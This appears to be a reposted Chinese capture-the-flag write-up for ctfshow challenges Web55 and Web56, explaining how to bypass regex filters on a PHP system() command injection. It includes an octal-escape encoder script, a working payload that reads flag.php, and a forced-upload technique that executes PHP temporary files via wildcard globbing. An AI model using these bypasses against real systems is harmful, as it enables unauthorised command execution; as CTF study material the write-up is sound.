当前位置: 首页 > article >正文

ctfshow(55,56)--RCE/命令执行漏洞--无字母RCE与强制文件上传RCE

Web55

源代码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);

代码审计:

过滤了字母和一些符号。

思路:

使用无字母RCE。
linux系统可以使用$'\xxx'的方式执行命令,其中xxx是符号的ASCII码的八进制形式。
使用脚本构造我们需要的命令:

target = 'ls'
content = "$'"

for i in target:
    asc = ord(i)    #ord函数将字符转换为ASCII码
    octal = oct(asc)[2:] #oct函数将十进制数转换为八进制字符串,输出为0oxxx。使用字符串切片来只获取数字部分。
    content += "\\"+octal

content += "\'"
print(content)

target是我们要执行的命令。

EXP:

由于我们要执行的命令是 cat flag.php,所以构造的payload是:

?c=$'\143\141\164'%20$'\146\154\141\147\56\160\150\160'

得到flag。

Web56

源代码:

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

代码审计:

过滤了字母和数字,以及一些符号。

思路:

由于过滤了单引号和双引号,所以或运算绕过不能使用。
考虑使用强制文件上传。

先构造一个文件上传页面:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>POST数据包</title>
</head>
<body>
<form action="http://b3135143-892a-4fe3-b4dc-7a54c640c9b2.challenge.ctf.show/" method="post" enctype="multipart/form-data">
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

然后构造一个文本文件,待会我们就要上传这个文件:

#!bin/sh
ls

#!bin/sh用于声明脚本使用的Shell类型和路径。后面的ls就是我们要执行的命令。

我们向linux系统上传的文件,都被保存在/tmp目录下,并且将文件内容传入临时文件中。
而php临时文件的格式为/tmp/php???[@-[]。 [@-[]匹配任意大写字母。
所以我们可以使用/???/????????[@-[]来匹配我们上传的文件。

匹配到上传的文件后,下一步就是执行文件。
我们使用 . file的方式来执行文件。意思是使用linux当前的shell程序来执行file中的命令。
所以:

?c=.%20/???/????????[@-[]

EXP:

上传文件并抓包,得到命令执行的结果:
在这里插入图片描述响应体中没有想要的内容的话,多上传几次即可。

在这里插入图片描述

文件内容修改为 cat flag.php,得到flag.


http://www.kler.cn/news/367120.html

相关文章:

  • 实验04while(简单循环)---7-2 整数的立方和
  • 系统架构设计师教程 第2章 2.6 计算机语言 笔记
  • 安卓屏幕息屏唤醒
  • 书生第四期作业:L0G4000 任务作业
  • 力扣刷题(sql)--零散知识点(1)
  • 模型 支付矩阵
  • Python浪漫之画一个圆月亮
  • sqlserver用ip登录
  • 基于SSM的儿童众筹救助系统设计与实现
  • 喜讯 | 创邻科技杭州电子科技大学联合实验室揭牌成立!
  • fiddler总结
  • 单片机原理及应用(新改)
  • 说一说QWidget
  • 解决JeecgBoot微服务通过Gateway访问Swagger资源出现“Knife4j文档请求异常”
  • 【记录】Excel 公式|(一)根据某列内容和关键词列,自动生成当前行的关键词分类名称
  • leetcode 498.对角线遍历
  • 常用的无穷小等价替换
  • HRCE第二次实验
  • K8S系列-Kubernetes网络
  • Vue3的Composition组合式API(readonly与shallowReadonly函数、toRaw与markRaw函数、customRef函数)
  • [ComfyUI]与 FLUX.1[dev] 一样优秀的商业用途模型 OpenFLUX.1 现已面世!
  • 常用sql
  • 记录下docker部署gitlab-ce-17.5版本及客户端git拉取方式配置
  • AI视频!OpenAI发布最新模型sCM,开启图像、音频、视频、三维模型AI新时代
  • 【C++进阶】深入STL之list:模拟实现深入理解List与迭代器
  • Vscode + EIDE +CortexDebug 调试Stm32(记录)